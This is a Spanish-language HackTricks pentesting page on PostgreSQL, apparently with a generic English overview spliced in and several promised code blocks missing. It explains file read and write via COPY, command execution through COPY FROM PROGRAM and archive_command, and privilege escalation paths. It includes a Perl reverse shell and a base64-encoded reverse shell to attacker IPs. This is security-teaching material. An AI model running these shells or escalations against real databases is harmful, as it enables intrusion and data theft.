Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
<summary><strong>Aprenda hacking en AWS desde cero hasta experto con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtenga [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**PostgreSQL** se describe como un sistema de base de datos **objeto-relacional** que es **de código abierto**. Este sistema no solo utiliza el lenguaje SQL, sino que también lo mejora con características adicionales. Sus capacidades le permiten manejar una amplia gama de tipos de datos y operaciones, lo que lo convierte en una opción versátil para desarrolladores y organizaciones.
**Puerto predeterminado:** 5432, y si este puerto ya está en uso, parece que postgresql utilizará el siguiente puerto (probablemente 5433) que no esté en uso.
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` arroja una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
`DETALLE: no se pudo conectar al servidor: No hay ruta al host ¿Está el servidor ejecutándose en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?`
When conducting a penetration test against a PostgreSQL database server, the first step is to enumerate the available databases, tables, and columns. This can be achieved using various methods such as querying system tables, using built-in functions, or tools like `pg_dump` and `pg_dumpall`.
#### Brute Forcing
If credentials are not known, brute forcing can be attempted using tools like `Hydra` or `Patator`. It's important to note that brute forcing should be a last resort due to the potential for account lockouts and detection by security mechanisms.
#### Exploitation
Common vulnerabilities in PostgreSQL include weak credentials, SQL injection, and insecure configurations. Exploiting these vulnerabilities can lead to unauthorized access, data manipulation, and in some cases, complete compromise of the database server.
#### Post-Exploitation
After gaining access to the database server, post-exploitation activities may include exfiltrating sensitive data, creating backdoors for future access, or escalating privileges to gain further control over the system.
#### Countermeasures
To secure a PostgreSQL database server, best practices such as using strong, unique passwords, regularly updating the software, and implementing network security measures should be followed. Additionally, conducting regular security assessments and penetration tests can help identify and address potential vulnerabilities before they are exploited by malicious actors.
En las funciones PL/pgSQL, actualmente no es posible obtener detalles de excepciones. Sin embargo, si tienes acceso directo al servidor PostgreSQL, puedes recuperar la información necesaria. Si extraer nombres de usuario y contraseñas de las tablas del sistema no es factible, puedes considerar utilizar el método de ataque de lista de palabras discutido en la sección anterior, ya que podría dar resultados positivos.
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser dado como identificador de autorización de sesión inicial. |
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
| rolconnlimit | Para roles que pueden iniciar sesión, establece el número máximo de conexiones simultáneas que este rol puede realizar. -1 significa sin límite. |
| rolpassword | No es la contraseña (siempre se muestra como `********`) |
| rolvaliduntil | Hora de vencimiento de la contraseña (solo se usa para autenticación de contraseña); nulo si no hay vencimiento |
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulta [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para más información. |
| rolconfig | Valores predeterminados específicos del rol para variables de configuración en tiempo de ejecución |
Ten en cuenta que en Postgres un **usuario**, un **grupo** y un **rol** son lo **mismo**. Solo depende de **cómo lo uses** y si lo **permites iniciar sesión**.
Desde este [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) los miembros del grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (llamado **`pg_read_server_files`**) y los **super usuarios** pueden utilizar el método **`COPY`** en cualquier ruta (ver `convert_and_check_filename` en `genfile.c`):
Hay **otras funciones de postgres** que se pueden utilizar para **leer archivos o listar un directorio**. Solo pueden usarlas **superusuarios** y **usuarios con permisos explícitos**:
Recuerda que COPY no puede manejar caracteres de nueva línea, por lo tanto, incluso si estás utilizando una carga útil en base64 **debes enviar un comando en una sola línea**.\
Una limitación muy importante de esta técnica es que **`copy` no se puede utilizar para escribir archivos binarios ya que modifica algunos valores binarios.**
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
Desde la [versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **super usuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se reportó como CVE-2019-9193, Postges declaró que era una [característica y no será corregida](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Una vez que hayas **aprendido** del post anterior **cómo cargar archivos binarios**, podrías intentar obtener **RCE cargando una extensión de postgresql y cargándola**.
El **archivo de configuración** de postgresql es **editable** por el **usuario postgres** que es el que ejecuta la base de datos, por lo que como **superusuario** puedes escribir archivos en el sistema de archivos, y por lo tanto puedes **sobrescribir este archivo.**
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Ruta de la clave privada de la base de datos
*`ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (encriptado) postgresql **ejecutará el comando indicado en este atributo**.
*`ssl_passphrase_command_supports_reload = off`**Si** este atributo está **activado**, el **comando** se ejecutará si la clave está protegida por contraseña cuando se ejecute `pg_reload_conf()`.
Al probar esto, noté que solo funcionará si el **archivo de clave privada tiene privilegios 640**, es **propiedad de root** y del **grupo ssl-cert o postgres** (para que el usuario postgres pueda leerlo), y está ubicado en _/var/lib/postgresql/12/main_.
**Más** [**información sobre esta configuración y sobre WAL aquí**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Para que esto funcione, la configuración `archive_mode` debe ser `'on'` o `'always'`. Si es así, podríamos sobrescribir el comando en `archive_command` y forzar su ejecución a través de las operaciones de WAL (write-ahead logging).
2. Sobrescribir `archive_command` con el payload. Por ejemplo, un shell inverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
4. Forzar la operación de WAL para que se ejecute, lo que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar membresía en cualquier rol** que **no** sea un **superusuario**._
Entonces, si tienes el permiso de **`CREATEROLE`** podrías otorgarte acceso a otros **roles** (que no sean superusuario) que pueden darte la opción de leer y escribir archivos y ejecutar comandos:
Es bastante común encontrar que **los usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que hayas obtenido **permisos para ejecutar código**, puedes abusar de estos permisos para obtener el rol de **`SUPERUSER`**:
En [**este informe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se otorgó al usuario.
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías recibir un **error** que lo impida, pero aparentemente GCP dio esa **opción al usuario postgres que no es superusuario** en GCP:
Al unir esta idea con el hecho de que cuando se ejecutan los comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) en una **tabla con una función de índice**, la **función** se **llama** como parte del comando con los **permisos del propietario de la tabla**. Es posible crear un índice con una función y dar permisos de propietario a un **superusuario** sobre esa tabla, y luego ejecutar ANALYZE sobre la tabla con la función maliciosa que podrá ejecutar comandos porque está utilizando los privilegios del propietario.
2. Inserta contenido irrelevante en la tabla para proporcionar datos para la función de índice.
3. Desarrolla una función de índice maliciosa que contenga una carga útil de ejecución de código, permitiendo la ejecución de comandos no autorizados.
4. ALTERA el propietario de la tabla a "cloudsqladmin," que es el rol de superusuario de GCP utilizado exclusivamente por Cloud SQL para gestionar y mantener la base de datos.
5. Realiza una operación ANALYZE en la tabla. Esta acción obliga al motor de PostgreSQL a cambiar al contexto de usuario del propietario de la tabla, "cloudsqladmin." En consecuencia, la función de índice maliciosa se llama con los permisos de "cloudsqladmin," lo que permite la ejecución del comando de shell previamente no autorizado.
Algunas instancias de PostgreSQL mal configuradas podrían permitir el inicio de sesión de cualquier usuario local, es posible iniciar sesión localmente desde 127.0.0.1 utilizando la función **`dblink`**:
Si tienes la contraseña de un usuario con más privilegios, pero al usuario no se le permite iniciar sesión desde una IP externa, puedes usar la siguiente función para ejecutar consultas como ese usuario:
[**En este informe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters pudieron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque **encontraron esta función con la bandera SECURITY DEFINER**:
Como [**se explica en la documentación**](https://www.postgresql.org/docs/current/sql-createfunction.html), una función con **SECURITY DEFINER se ejecuta** con los privilegios del **usuario que la posee**. Por lo tanto, si la función es **vulnerable a la Inyección SQL** o realiza algunas **acciones privilegiadas con parámetros controlados por el atacante**, podría ser abusada para **escalar privilegios dentro de postgres**.
**PL/pgSQL** es un **lenguaje de programación completo** que ofrece un mayor control procedural en comparación con SQL. Permite el uso de **bucles** y otras **estructuras de control** para mejorar la lógica del programa. Además, las **sentencias SQL** y los **disparadores** tienen la capacidad de invocar funciones que se crean utilizando el **lenguaje PL/pgSQL**. Esta integración permite un enfoque más completo y versátil para la programación y automatización de bases de datos.\
Puedes encontrar **contraseñas** dentro del archivo _**pgadmin4.db**_.\
Puedes descifrarlas usando la función _**decrypt**_ dentro del script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
La autenticación del cliente en PostgreSQL se gestiona a través de un archivo de configuración llamado **pg_hba.conf**. Este archivo contiene una serie de registros, cada uno especificando un tipo de conexión, rango de direcciones IP del cliente (si corresponde), nombre de la base de datos, nombre de usuario y el método de autenticación a utilizar para las conexiones coincidentes. El primer registro que coincida con el tipo de conexión, la dirección del cliente, la base de datos solicitada y el nombre de usuario se utiliza para la autenticación. No hay un respaldo o alternativa si la autenticación falla. Si ningún registro coincide, se deniega el acceso.
Los métodos de autenticación basados en contraseña disponibles en pg_hba.conf son **md5**, **crypt** y **password**. Estos métodos difieren en cómo se transmite la contraseña: en formato MD5-hashed, cifrada con crypt o en texto claro. Es importante tener en cuenta que el método crypt no se puede utilizar con contraseñas que hayan sido cifradas en pg_authid.